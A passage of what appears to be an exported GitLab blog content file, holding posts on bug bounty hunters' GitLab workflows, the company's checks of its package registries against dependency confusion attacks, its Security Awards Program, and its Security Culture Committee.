collaborator, who will be notified via email – convenient if the hackers are in different time zones. Furthermore, features such as group permission settings allow for the introduction of additional hackers with/without limited access.\n\n![Screenshot illustrating the creation of issues for shared programs](https://about.gitlab.com/images/blogimages/how-i-use-gitlab/issues-blog.png){: .shadow.medium.center}\nCreating issues with custom labels\n{: .note.text-center}\n\nAlso, GitLab provides easy tracking of issues with [issue boards](https://docs.gitlab.com/ee/user/project/issue_board.html#issue-boards). The board function makes it simple to keep track of reports, like which ones are in the triage stage and which ones have been marked as informative or closed. Also, if a similar error occurs in the future, we can still cross-reference it, much as we do when creating real apps. Boards are a newer discovery for me, so I still need to do more exploring here.\n\n![Screenshot of issue boards](https://about.gitlab.com/images/blogimages/how-i-use-gitlab/boards-blog.png){: .shadow.medium.center}\nEasy tracking of of issues with issue boards\n{: .note.text-center}\n\n## What should we improve so you can hack better?\n\n**Alex**:  I write in markdown, a lot. Unfortunately I find that GitLab is not very friendly with writing or editing large markdown documents in repos, wikis, or issues. My writing style means I make multiple edits to issues or wiki pages, and having to scroll through a wall of markdown source to edit a detail halfway through a page is particularly painful. It would be great to see markdown editing become first class in GitLab, or at the very least let me edit only a code block or text under a heading like on Wikipedia.\n\n_Editor's note: good news! We have some really big plans for making markdown editing easier across GitLab. You can check out and follow this [epic for implementing a new editor in Wiki](https://gitlab.com/groups/gitlab-org/-/epics/5403) and review our [strategy for the new WYSIWYG markdown editor](https://gitlab.com/groups/gitlab-org/-/epics/5401) to see what's in store._\n\n**Dominic**: I often have good hacking ideas in random places, whether it's in the middle of the fruit aisle at the grocery store or on a run with my dogs, and when that happens I note those ideas in my GitLab project on my phone. The mobile experience isn't the best both in terms of page layout and performance, so improving that would be awesome.\n\nI think some of my biggest layout pet peeves could be easy fixes, so I plan on working on that myself because, although my frontend skills leave a lot to be desired, [everyone can contribute](/community/contribute/)!\n\n***Nishant***:\n\n![Screenshot of selecting template types](https://about.gitlab.com/images/blogimages/how-i-use-gitlab/new-file-template.png){: .shadow.medium.center}\nCreate and select different templates for greater efficiency\n{: .note.text-center}\n\nI'm not sure if a feature like this exists, but if we could build out custom templates while creating a file, that would save a lot of time when making similar reports.\n\n_Editor's note: We have [templates for issues and merge request descriptions](https://docs.gitlab.com/ee/user/project/description_templates.html#use-cases). Perhaps those help?_\n\n**Nishant**: I see, I think the issues template solves the problem then. 🙌\n\nAlso, Discord hooks integration.\n\n_Editor's note: We've got a [Discord webhook integration](https://docs.gitlab.com/ee/user/project/integrations/discord_notifications.html). Would that work?_\n\n**Nishant**: Nice! I missed this! I don't think there's much that I can think of now to improve GitLab, although as I noted above, I'd love for there to be more backward integration or compatibility with the markdown in HackerOne and GitHub platforms.\n\n## What GitLab feature helps you the most in your hack?\n\n**Alex**: As mentioned above, GitLab issue tracking is my main use for GitLab in my bug hunting efforts, but I really like that I can link to code and POCs in a repository and keep longer-term notes in a Wiki. I rely on the project sub-grouping features to keep the various bug bounty programs and scope items I am working on organized and tidy.\n\nI have found this setup works particularly well when collaborating with other bug hunters. I simply create a shared project and we can all add to and update the issues, files, and wikis collaboratively. This is much nicer than just relying on Slack or Google Docs for collaboration, it helps keep things more organized and much easier to find than constantly searching through Slack logs.\n\n**Dominic**: GitLab issues and all the management tools around them is where I get the most value. They help me track all ideas that could potentially become a vulnerability, and make collaboration and sharing easy. GitLab labels allow me to quickly glance at the main issues page and see the state of each issue.\n\nContributing to this post has made me reflect on how I could get even more out of GitLab in my bug bounty hunting efforts and using [issue weights](https://docs.gitlab.com/ee/user/project/issues/issue_weight.html) to estimate the amount of work needed to investigate each idea and [milestones](https://docs.gitlab.com/ee/user/project/milestones/) to plan the ideas I want to cover in a specific hacking session could be good improvements to my workflow.\n\n**Nishant**: I appreciate that users can make [flowcharts](https://docs.gitlab.com/ee/user/markdown.html#diagrams-and-flowcharts) and templates with the powerful GitLab markdown (not all features are supported in HackerOne's markdown though, so perhaps adding that capability is a feature suggestion!). I also make use of custom features like customs tabs, boards, lists, etc. Not to mention the fantastic [documentation](https://docs.gitlab.com/) for all the features.\n\n## How does GitLab help *you* hack?\n\nAre you using GitLab in your hack, either to track ideas to bounty or to collaborate on a global scale with other hackers from across the world, or maybe to keep track of all the bits in between? We'd love to hear about it! Tweet us at @gitlab or comment below!\n\n### Have a question you'd ask a hacker?\nIf you want to dive even deeper into the mind of a hacker, join our upcoming Ask a Hacker AMA with [William Bowling, @vakzz](https://hackerone.com/vakzz?type=user) on June 16, 2021 at 23:00 UTC (see [this world clock](https://www.google.com/url?q=https://www.timeanddate.com/worldclock/fixedtime.html?msg%3DGitLab%2Blive%2BAMA%2Bwith%2BBug%2BBounty%2BResearcher%2B%2540vakzz%26iso%3D20210617T09%26p1%3D396%26am%3D25&sa=D&source=editors&ust=1622841578656000&usg=AFQjCNEElP1N957Dx2KW4lo8bl0jBEDagw) for conversion to your timezone). Get all of the [event details and sign up](https://docs.google.com/forms/d/e/1FAIpQLSc4qcZCtQzci-heoBG30pZ730wviKxNJaL8sAIYVE9LsoNRCw/viewform?usp=sf_link).\n\n![June 16 AMA with William Bowling](https://about.gitlab.com/images/blogimages/how-i-use-gitlab/ama-with-vakzz-blog.png){: .shadow.medium.center}\n",[14,899,267],{"slug":4121,"featured":6,"template":677},"how-i-use-gitlab-to-help-my-hack","content:en-us:blog:how-i-use-gitlab-to-help-my-hack.yml","How I Use Gitlab To Help My Hack","en-us/blog/how-i-use-gitlab-to-help-my-hack.yml","en-us/blog/how-i-use-gitlab-to-help-my-hack",{"_path":4127,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4128,"content":4134,"config":4139,"_id":4141,"_type":16,"title":4142,"_source":17,"_file":4143,"_stem":4144,"_extension":20},"/en-us/blog/deep-dive-investigation-of-gitlab-packages",{"title":4129,"description":4130,"ogTitle":4129,"ogDescription":4130,"noIndex":6,"ogImage":4131,"ogUrl":4132,"ogSiteName":767,"ogType":768,"canonicalUrls":4132,"schema":4133},"A deep dive into how we investigate and secure GitLab packages","Supply chain attacks aren't new, but that doesn't mean extra vigilance and protection aren't needed. We take a look at how we secure our packages and registries.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682004/Blog/Hero%20Images/gabriel-sollmann-unsplash.jpg","https://about.gitlab.com/blog/deep-dive-investigation-of-gitlab-packages","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A deep dive into how we investigate and secure GitLab packages\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vitor Meireles De Sousa\"}],\n        \"datePublished\": \"2021-05-27\",\n      }",{"title":4129,"description":4130,"authors":4135,"heroImage":4131,"date":4136,"body":4137,"category":14,"tags":4138},[3922],"2021-05-27","\n\nRecent high-profile supply chain and dependency confusion attacks have been a cross-industry wake-up call on the impact breadth and depth these value-chain or third-party attacks can have on customers, business operations, and brand reputation.\nSecurity teams know supply chain attacks aren't new – they've been around for decades. But, what may have once been considered mainly nation-state threats have now increased in prevalence and sophistication. Malicious actors are now setting their sights on widely used technology like software applications and code repositories to compromise unsuspecting suppliers.\n\n## So how do we protect our customers and product?\n\nWe're doing deep dives and making improvements across our product, processes, and practices as well as the controls we have in place for our partner and third-party vendor ecosystem to fortify the security of our supply chain. This blog post details our early steps to ensure packages and registries operate the way we expect them to and are continually monitored and secured.\n\nBack in December of 2020, we talked about the work our [Security Research](/handbook/security/#security-research) team is doing to identify malicious packages through the development of a [tool called Package Hunter](/blog/how-we-made-gitlab-more-secure-in-twenty-twenty/). Package Hunter uses dynamic behavior analysis to identify malicious packages that try to exfiltrate sensitive data or run unintended code. It's currently running in our internal pipelines at GitLab, providing our code reviewers with valuable information when reviewing dependency updates. We currently plan to open source Package Hunter in the near future (watch this space!) and integrate it with [GitLab CI](/topics/ci-cd/), so that you can run it in your own pipelines. By making Package Hunter available to the wider community, we hope to put users in a position to proactively detect unexpected dependency behavior, such as the behavior exhibited in the recent Dependency Confusion attacks, and contribute to the security of CI environments.\n\n## A look at GitLab package managers\n\nGitLab has an [open core](/company/stewardship/) business model and is proud to ship open and source-available source code which has been built in part by members of the GitLab community.\n\nTo help our customers in their development process, GitLab offers several package managers, but we mainly use three programming languages:\n\n* Ruby\n* Javascript\n* Go\n\nWe also provide package registries for different types of packages managers, the following being the most popular:\n\n* Composer\n* Conan\n* Go\n* Maven\n* Npm\n* NuGet\n* Pypi\n\nAs well as a container registry (to store Docker images) and a storage proxy for your frequently-used Docker images.\n\n### How dependency confusion happens\n\nAs we saw in the recent [high-profile novel supply chain attacks](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610), dependency confusion attacks are a logic flaw in the default way that software development tools pull in third-party packages from public and private repositories. Malicious actors can exploit this issue and \"trick\" an environment into pulling in a malicious package instead of the intended custom package.\n\nFor a dependency confusion to happen, there are some conditions that need to be met, like:\n\n* The existence of a private package that has not yet been published to an official package registry (i.e., https://npmjs.org)\n* A package manager client configured in a way that prefers the official package registry\n\nWhile controlling the user environment is challenging, we can and should make sure that the behavior of our GitLab package registries is as intended and secure.\n\n### Investigating the behavior of package registries\n\nTo investigate, we opened an [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/321423) to review the behavior of our package registries and also some more dangerous aspects like the ability to run pre/post install scripts, override packages that are supported by package managers or using `--extra-index-url` with PyPi. Check out these instructions on [how to install a PyPI package](https://docs.gitlab.com/ee/user/packages/pypi_repository/#install-a-pypi-package).\n\n#### The TL;DR on our package registry checks\n\nLong story short: Of the multiple packages GitLab offers, only the npm package registry checks the official package registry, [npmjs.org](https://www.npmjs.com/package/npmjs.org), and this comes after verifying the presence of a package on gitlab.com. This means the implementations of our package managers follow best practices! 💪\n\nAnother interesting area we explored more deeply is the variety of ways one could maliciously use a package to interact or obtain information from a system. Thankfully, we are already checking for suspicious behavior like this with Package Hunter.\n\n## Beyond registry investigation\n\n### Dependencies of our Ruby codebase\n\nReviewing our registries wasn't enough. We have an important list of Ruby projects (about 300), and verifying if we were impacted was relatively easy. Thanks to a tool developed by my teammate and senior Security engineer, [Michael Henriksen](/company/team/#mhenriksen), I was able to quickly grab the Gemfiles to check and extract the source to make sure we are using the official [https://rubygems.org](https://rubygems.org). Our investigation indicates this was the case.\n\n### Verifying and updating NPM\n\nJavaScript is the second most frequently used programming language, so we needed to be sure that all our packages (around 160) were present on npmjs.org. This investigation showed us one package was not present: `@conventionalcomments/cc-parse`, a package that was developed by a previous team member. While we do use it internally, we had no reason to keep it only on gitlab.com. To ensure this didn't become an issue in the future we decided to [publish the package](https://www.npmjs.com/package/cc-parse) on npmjs.org.\n\n### Referencing Go\n\nDue to the way Go modules work, confusion attacks are not possible. Other types of attacks are possible, however, and I recommend reading [Michael Henriksen](/company/team/#mhenriksen)' blog post the summarizes his research, [\"Finding Evil Go Packages\"](https://michenriksen.com/blog/finding-evil-go-packages/).\n\nReferencing Go packages is very simple: You just need to provide the package URL such as `import \"github.com/stretchr/testify\"` and that's it. Any URL can be provided, which makes evaluating legitimate Go packages difficult. Nevertheless, we're looking at how we can close the gap and better protect customers using Go packages.\n\n## How do we avoid confusion attacks?\n\nCurrently only the npm package registry supports forwarding requests to npmjs.org when nothing is found on gitlab.com, this is an option which is [enabled by default](https://docs.gitlab.com/ee/administration/settings/continuous_integration.html#npm-forwarding) for self-managed users and currently enabled on our SaaS offering. Implementation of new package registries will make sure we always check first on GitLab prior to searching in public official registries.\n\n### Control the chaos\n\nWe recently published a blog post around how [GitLab helps protect against supply chain attacks](/blog/devops-platform-supply-chain-attacks/), including ways that customers can combine our powerful DevSecOps platform with a holistic security program to quickly gain control and visibility of their software supply chain.\n\nIn 2021, our plan is to introduce a new product category aptly called the Dependency Firewall. We believe that this planned set of features will help users prevent suspicious dependencies from being downloaded. As it stands today, the anticipated new product would include the ability to:\n\n* Verify package integrity from one single place. Users will be able to see what has been changed and test those packages for security vulnerabilities.\n* Filter the available upstream packages to include only approved, allow-listed packages.\n* Delay updates from packages that have been recently updated under suspicious circumstances. For example, users will be able to delay any packages in which the following circumstances have occurred:\n     * Author change\n     * Author information change\n     * Programming language change\n     * Activity after a long period of inactivity\n     * Large code changes\n     * [Introduction of an executable](https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems)\n     * [Executable files with a non-executable extension like .png](https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems)\n     * Name very similar to a popular package (typosquatting)\n* Audit and mirror every dependency to ensure users are running and requiring developers to take an active, documented role in vetting external dependencies.\n\nThanks to [Tim Rizzi](/company/team/#trizzi) for their contributions to this section.\n{: .note.text-center}\n\nSupply chain attacks are ongoing and increasing. So too then must be the work, vigilance and research of our security teams. We'll continue sharing information about the ways we're making our product stronger and more secure, but if you've got a specific question or topic area that you'd like to hear from us about, leave us a comment or get in touch with me on Twitter [@muffinbox33](https://twitter.com/Muffinbox33).\n\nCover image by [Gabriel Sollmann](https://unsplash.com/@gabons?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/storage?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[14,675],{"slug":4140,"featured":6,"template":677},"deep-dive-investigation-of-gitlab-packages","content:en-us:blog:deep-dive-investigation-of-gitlab-packages.yml","Deep Dive Investigation Of Gitlab Packages","en-us/blog/deep-dive-investigation-of-gitlab-packages.yml","en-us/blog/deep-dive-investigation-of-gitlab-packages",{"_path":4146,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4147,"content":4153,"config":4159,"_id":4161,"_type":16,"title":4162,"_source":17,"_file":4163,"_stem":4164,"_extension":20},"/en-us/blog/how-we-used-gitlab-values-to-build-a-security-awards-program",{"title":4148,"description":4149,"ogTitle":4148,"ogDescription":4149,"noIndex":6,"ogImage":4150,"ogUrl":4151,"ogSiteName":767,"ogType":768,"canonicalUrls":4151,"schema":4152},"How we used GitLab values to develop a successful Security Awards Program","We built a program that encourages, recognizes, and awards a shared responsibility for security.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681989/Blog/Hero%20Images/security-awards-blog.png","https://about.gitlab.com/blog/how-we-used-gitlab-values-to-build-a-security-awards-program","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we used GitLab values to develop a successful Security Awards Program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Philippe Lafoucrière\"}],\n        \"datePublished\": \"2021-05-14\",\n      }",{"title":4148,"description":4149,"authors":4154,"heroImage":4150,"date":4156,"body":4157,"category":14,"tags":4158},[4155],"Philippe Lafoucrière","2021-05-14","\n\nSecurity is our [top priority](/handbook/product/product-processes/#prioritization) at GitLab, and like many software companies, we believe security \"is everyone's responsibility\". The more GitLab team and community members are involved, the better. However, we're also scaling quickly, delivering new and large features often and need to stay focused and aligned with our value of [results](https://handbook.gitlab.com/handbook/values/#results).\n\nBecause of this focus and pace, blind spots can develop when it comes to security, so extra hands, minds, and eyes bring immense value. All security contributions to our documentation, product, and workflow are \"actions\" we want to recognize and programs that celebrate those who go the extra-mile, think out-of-the-box, or cautiously assess threats and risk, are a great reminder that everyone can contribute to the ongoing effort that is security. This is why we created the [Security Awards Program](/handbook/security/security-awards-program.html).\n\n## How we built a Security Awards Program using GitLab values\n\nThe program, opened in 2020, is a simple construct: Every valid submission (or action) earns the reporter points and recognition, and prizes are awarded at the end of each quarter. All non-Security team members and community members are eligible to win a grand prize at the end of the year, where the individual with the highest number of points is awarded the top prize.\n\n### Efficiency: Start boring\n\nAt GitLab, every new project is an opportunity to live and apply our values. My personal favorite, [efficiency](https://handbook.gitlab.com/handbook/values/#efficiency), helped us start with a boring solution. The minimum achievement to start the program was to define a basic rule, and document it in our handbook. Nothing more. From this [initial merge request](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/59279), we kicked off program communications and experimented with the first results. The feedback loop was extremely short, and adjustments were made accordingly.\n\n### Iteration: Improve it as you go along\n\nBecause a successful program needs to scale with time, [iteration](https://handbook.gitlab.com/handbook/values/#iteration) is key to maintain momentum and quickly improve. The first security award nominations arrived soon after we added the concept of the program to our handbook. To easily keep track of them and enable quick updates, we created a simple markdown file hosted in a specific project. While everything could have stayed the same, we knew automation would help us avoid human errors and ensure the program would scale. [Work done this past quarter](https://gitlab.com/groups/gitlab-com/gl-security/-/epics/105) means the nominations are now fetched weekly, the associated data updated and validated, and everything is published automatically.\n\nAnother recent iteration in our Security Awards Program is the move to [automatically reward security merge requests](/handbook/security/security-awards-program.html#automatic-rewards) (merged) that fix a security bug. Our product is not exempt from bugs or security issues and we saw the number of S3s and S4s (learn more about how we apply [severity labels](/handbook/security/#severity-and-priority-labels-on-security-issues)) rising lately.  Adding automatic rewards to target and incentivize identifying these security issues is predictable, simple to employ, and helps us reduce security bugs.\n\n### Collaboration: Everyone adds value\n\nTo be successful, we knew we needed a thriving program that enabled [collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) across the organization and beyond. We work with our AppSec team to identify the initiatives we want to encourage and incentivize, as well as on the overall evaluation of submitted \"actions\". The workflow here is simple: Once it is identified, an \"action\" (an issue or a merge request) is labeled with a \"nomination\" label. Every week, the nominations are imported into a single awards council issue in GitLab for asynchronous discussion. Each nomination is a [thread](https://docs.gitlab.com/ee/user/discussions/) in the council issue, and we use [award emojis](https://docs.gitlab.com/ee/user/award_emojis.html) to set the number of votes. Votes translate to points awarded to the author of the \"action\".\n\n![Screenshot of GitLab Bot message in issue](https://about.gitlab.com/images/blogimages/gitlab-bot-awards-message.png){: .shadow.medium.center}\nWe engage with nominees when they're awarded, extending the visibility of the program and providing an instant feedback loop.\n{: .note.text-center}\n\n### Diversity, inclusion and belonging: New, better ideas\n\nRemember that at GitLab, everyone can contribute. Contributions from the wider GitLab community are essential to maintaining the level of security we expect for our product. The broad and diverse talents of the global GitLab community and our [diversity, inclusion, and belonging](https://handbook.gitlab.com/handbook/values/#diversity-inclusion) value drive inclusivity into this program and we're proud that [community contributions](/handbook/security/security-awards-program.html#community-contributions) play a key role in this program. We also have multiple categories for submissions to encourage participation from engineers and non-engineers alike to ensure we have diversity of thought and innovation.\n\n#### 👉 We want your contributions! 🙌\nThere are multiple ways to contribute and you can see them outlined in this [contribution guide](/community/contribute/). Any [actions that contribute to the security of GitLab](/handbook/security/security-awards-program.html#eligible-actions) are considered and have the potential to be recognized in our Security Awards Program.\n\nNote: For bug bounty hunters interested in researching security vulnerabilities on our platform,  we have a [bug bounty program on HackerOne](https://hackerone.com/gitlab?type=team) where security researchers are invited to submit security bug reports directly for bounties. Those submissions are not considered under this program, but are still really important to us.\n\n### Results: Security fixes and awareness\n\nThis one is easy. The more bugs we spot and fix, the stronger our product is for our customers, the broader community, and our own teams, who use GitLab daily. Beyond this, the Security Awards Program is a great way to spread knowledge about what we're prioritizing on the Security team and the GitLab issues we use for awards council voting and discussion are a nice weekly resource to generate awareness of changes that matter!\n\n### Transparency: Increases visibility and collaboration\n\nThe final GitLab value at play here is – last but not least – [transparency](https://handbook.gitlab.com/handbook/values/#transparency). It's been widely acknowledged that transparency and security don't always easily mix. And, sure, we admit it's more difficult, but not impossible. Our Security Awards Program is meant to be as transparent as possible, while ensuring no confidential information is leaked through our pipelines. We also try to [dogfood as much as we can](/handbook/product/product-processes/#dogfood-everything) here, so the transparency around this program presents a great opportunity to experiment with our new [threat modeling process](/handbook/security/threat_modeling/). This careful review allows us to keep the source code open and make the whole process available in the handbook. While the \"actions\" rewarded are often confidential since they are related to vulnerabilities or security issues, the [leaderboard with the awarded people](/handbook/security/awards/leaderboard-fy22.html) is completely public.\n\nOur journey to recognize security initiatives is just getting started. Fleshed out in the spirit of our values, our Security Awards Program is showing constant progress and results, leading to security awareness, engagement, and a more secure organization and product.\n\n## Congrats and thank you to our current top 10 contributors 🎉 :\n\n| Contributor | Rank in their category | Points |\n| [@cablett](/company/team/#cablett) | 1 | 600 |\n| [@alexkalderimis](/company/team/#alexkalderimis) | 2 | 500 |\n| [@engwan](/company/team/#engwan) | 3 | 480 |\n| [@whaber](/company/team/#whaber) | 4 | 400 |\n| [@alexpooley](/company/team/#alexpooley) | 5 | 400 |\n| [@theoretick](/company/team/#theoretick) | 6| 400 |\n| [@sabrams](/company/team/#sabrams) | 7 | 300 |\n| [@tmaczukin](/company/team/#tmaczukin) | 8 | 300 |\n| [@nolith](/company/team/#nolith) | 1 | 300 |\n| [@emanuele.divizio](https://gitlab.com/emanuele.divizio) | 1 | 300 |\n\nHow do you reward and recognize security fixes in your organization? Is there something more or different we could do in our Security Awards Program? Tell us in the comments!\n",[14,675,958],{"slug":4160,"featured":6,"template":677},"how-we-used-gitlab-values-to-build-a-security-awards-program","content:en-us:blog:how-we-used-gitlab-values-to-build-a-security-awards-program.yml","How We Used Gitlab Values To Build A Security Awards Program","en-us/blog/how-we-used-gitlab-values-to-build-a-security-awards-program.yml","en-us/blog/how-we-used-gitlab-values-to-build-a-security-awards-program",{"_path":4166,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4167,"content":4173,"config":4178,"_id":4180,"_type":16,"title":4181,"_source":17,"_file":4182,"_stem":4183,"_extension":20},"/en-us/blog/how-the-security-culture-committee-is-strengthening-gitlab-values",{"title":4168,"description":4169,"ogTitle":4168,"ogDescription":4169,"noIndex":6,"ogImage":4170,"ogUrl":4171,"ogSiteName":767,"ogType":768,"canonicalUrls":4171,"schema":4172},"How the Security Culture Committee is strengthening GitLab values","Learn how this group of team members works to preserve and reinforce GitLab values in the Security department and beyond.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670879/Blog/Hero%20Images/Sec-Culture-Committee-blog.png","https://about.gitlab.com/blog/how-the-security-culture-committee-is-strengthening-gitlab-values","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How the Security Culture Committee is strengthening GitLab values\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2021-05-07\",\n      }",{"title":4168,"description":4169,"authors":4174,"heroImage":4170,"date":4175,"body":4176,"category":14,"tags":4177},[3178],"2021-05-07","\n\nTransparency is a core value here at GitLab and we strive to be [\"open about as many things as possible\"](https://handbook.gitlab.com/handbook/values/#transparency), but as any security practitioner knows, this can, at times, feel as though it conflicts with the work we do within security. That feeling of conflict is one of the main drivers behind the creation of a [Security Culture Committee](/handbook/security/security-culture.html) here at GitLab. The other is to ensure the Security department, and all of GitLab, lives up to our [company values](https://handbook.gitlab.com/handbook/values/), especially as we continue to scale. The [mission and goals of the Security Culture Committee](/handbook/security/security-culture.html#mission-statement) were developed by the committee members themselves, with an eye on our GitLab values and also to ensure representation of our fellow team members.\n\n## How does the committee work?\n\nOur first group of team members, five of us, were peer nominated (thanks, team 😉) back in August of 2020 and include: [Dominic Couture](/company/team/#dcouture), [Mark Loveless](/company/team/#mloveless), [Joern Schneeweisz](/company/team/#joernchen), [Heather Simpson](/company/team/#heather), and [Steve Truong](/company/team/#sttruong). We meet monthly via Zoom (meetings are recorded and viewable internally for GitLab team members) to discuss candidate initiatives or process improvements where GitLab values could be better represented. Between meetings, we work async through GitLab issues and in a dedicated, public-to-GitLab Slack channel (#security-culture).\n\nFellow team members can bring suggestions for initiatives we should tackle via #security-culture channel, an issue or a Slack DM if that's more comfortable. Candidate initiatives are anything where [collaboration](https://handbook.gitlab.com/handbook/values/#collaboration), [results](https://handbook.gitlab.com/handbook/values/#results), [efficiency](https://handbook.gitlab.com/handbook/values/#efficiency), [diversity, inclusion & belonging](https://handbook.gitlab.com/handbook/values/#diversity-inclusion), [iteration](https://handbook.gitlab.com/handbook/values/#iteration) and/or [transparency](https://handbook.gitlab.com/handbook/values/#transparency) (all GitLab values), could be strengthened and improved.\n\n## Where has the committee focused our efforts so far?\n\nOne of the first things we tried to do was determine how we would define \"success\". We weren't sure, so reached out to the Security department via an anonymous feedback form asking the following questions:\n\n* Do you think the Security Culture Committee is strengthening the GitLab values within the Security department?\n* Do you think the Security Culture Committee should continue its efforts for at least another quarter?\n* Do you have anything to share what the committee could do in the future? Any ideas for opportunities are welcome.\n* Anything else you'd like to mention to the committee?\n\nFor the first two questions, team members had to rate their agreement with the statements on a scale of one (strongly disagree) to five (strongly agree) and 91% of answers were four or above. The other two questions generated interesting ideas to improve transparency in the department and better ways to communicate important news and initiatives across GitLab through Slack updates and entries in our Engineering department's week-in-review newsletter. There's definitely opportunity to improve and strengthen communication within GitLab around Security work and initiatives, and the value these efforts bring to the rest of the organization\n\n### Public profiles for transparency and collaboration\n\nAnother early initiative for our group was to encourage more GitLab team members to adopt public profiles to increase transparency across the company. The use of open, public profiles enables company-wide visibility into projects, plans, statuses, and updates. Public profiles ensure efficiency and fosters greater collaboration when there is visibility into the ongoing efforts of GitLab teams and team members. Public profiles also allow any visitor to see the work team members are doing in public projects. See Heather's profile: [https://gitlab.com/heather](https://gitlab.com/heather) as an example.\n\n![Screenshot of Heather Simpson's public GitLab profile](https://about.gitlab.com/images/blogimages/sec-culture-blog/heathersimpson_publicprofile.png){: .shadow.medium.center}\nPublic profiles foster collaboration through greater visibility into the work GitLab team members are doing.\n{: .note.text-center}\n\n\nTo encourage public profile use, we held a Slack campaign where we communicated the value of public profiles and shared our progress toward the goal of making all GitLab profiles public by default.\n\n![Public GitLab profiles Slack campaign](https://about.gitlab.com/images/blogimages/sec-culture-blog/public_profile_msg.png){: .shadow.medium.center}\nAn example of our internal Slack campaign to encourage GitLab team members to switch their profiles from private to public.\n{: .note.text-center}\n\nWe also [added language](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/60262/diffs) to the [values page of the GitLab Handbook](https://handbook.gitlab.com/handbook/values/#transparency) encouraging the use of public profiles:\n\n> In line with our value of transparency and being public by default, all GitLab team member [profiles](https://docs.gitlab.com/ee/user/profile/#user-profile) should be public. Public profiles also enable broader collaboration and efficiencies between teams. To do so, please make sure that the checkbox under the [Private profile](https://docs.gitlab.com/ee/user/profile/#private-profile) option is unchecked in your profile settings. If you do not feel comfortable with your full name or location on your profile, please change it to what feels appropriate to you as these are displayed even on private profiles.\n\nAnd we added [clarification](https://gitlab.com/gitlab-com/people-group/people-operations/employment-templates/-/merge_requests/465/diffs) to our [onboarding template](https://gitlab.com/gitlab-com/people-group/people-operations/employment-templates/-/blob/c80404ffc53b143bfc393ab69b7ce482de3efdad/.gitlab/issue_templates/onboarding.md#L422) around why we use public profiles to ensure new team members understand how they contribute to GitLab's value of transparency and being [public by default](https://handbook.gitlab.com/handbook/values/#public-by-default).\n\nOur Security Culture Committee will continue to revisit this topic and educate team members on the value of public profiles, but we're proud of our team members commitment to transparency and the results we've achieved, together, to-date:\n\n**As of May 5, 2021:** 🎉\n* All of GitLab: 2.18% private profiles (28 out of 1307)\n* Security department: 2.22% private profiles (1 out of 48)\n\n### Increase transparency in department leadership meetings\n\nBeyond ensuring our GitLab profiles are public, the Security Culture Committee, in partnership with [Security department](/handbook/security/#security-department) leadership, has also advocated for several department and sub-department meeting notes and recordings to be made available internally. By making notes and recordings available, all team members can stay informed about what's going on at the Security leadership level and follow meeting notes and recordings [asynchronously](https://handbook.gitlab.com/handbook/values/#bias-towards-asynchronous-communication). Besides providing more transparency, this also supports our collaboration and results values, as information is made available for all to read and contribute to.\n\n### Strengthen the employee experience\n\nOn a bi-annual cadence, GitLab conducts an organization-wide [Team Member Engagement Survey](/handbook/people-group/engagement/) to give team members an opportunity to provide feedback related to their experience within GitLab across multiple elements, including culture. The results from this survey are aggregated by department and shared with department heads.\n\nGitLab VP of Security [Johnathan Hunt](/company/team/#JohnathanHunt), engaged the culture committee to dive deeper into the Security department specific results from the Team Member Engagement Survey and help identify areas for improvement. After reviewing results, the committee outlined four focus areas where we could strengthen employee experience across the Security department based on survey results:\n\n* I believe there are good career opportunities at GitLab\n* I have access to the L&D I need to do my job well\n* GitLab is in a position to really succeed over the next three years\n* I have confidence in senior leaders and execs at GitLab\n\n**The culture committee established various channels for Security team members to share their feedback:**\n\n* Anonymous response to a Security department specific survey (delivered via Google forms)\n* Survey response provided to their manager in a 1:1 session where feedback was then summarized, anonymized, and provided to the committee\n* 1:1 feedback directly to a member of the culture committee over a coffee chat\n\n**About 62% of the Security department provided feedback, not including aggregated feedback that was provided to managers in 1:1 conversations. As part of the survey, we asked Security team members to:**\n\n* Prioritize and rank the four focus areas mentioned above\n* Provide recommendations for improvement within each focus area\n* Supply any additional feedback and recommendations they wanted to share\n\nOnce all feedback was gathered, the culture committee worked to consolidate and anonymize the data to ensure that specific team members could not be identified based on language used in their feedback. The next steps included sharing the qualitative survey data and summarized feedback with the entire team, and making recommendations for action, based on survey data, to senior leadership. Security leadership took the recommendations from the [top three focus areas and formalized an OKR](https://gitlab.com/groups/gitlab-com/gl-security/-/epics/109) for Q1.\n\nSo, what are the results so far?\n\n\u003Cdetails markdown=\"1\">\n\u003Csummary>\u003Cb>Priority 1 focus area: I believe there are good career opportunities at GitLab\u003C/b>\u003C/summary>\n\n* Implemented an [individual development plan](/handbook/security/individual-development-plan.html) so team members can continuously discuss career path and growth opportunities with their manager\n* Leadership exploration of additional career opportunities by mapping out additional role levels within the Security department\n\n\u003C/details>\n\n\u003Cdetails markdown=\"1\">\n\u003Csummary>\u003Cb>Priority 2: I have confidence in senior leaders and execs at GitLab \u003C/b>\u003C/summary>\n\n* Collaboration\n   * Established a [Security Department Team Day](https://gitlab.com/gitlab-com/gl-security/security-department-meta/-/issues/1133) to encourage collaboration and networking across the security organization\n   * Added a [Security OKR](/handbook/security/OKR.html) handbook page to encourage cross-functional OKRs\n* Diversity, Inclusion, and Belonging (DIB)\n   * Allyship training for Security department senior leadership team\n   * Planning for maturation of DIB specific metrics for the Security department\n* Transparency\n   * Updates to the [Security leadership job 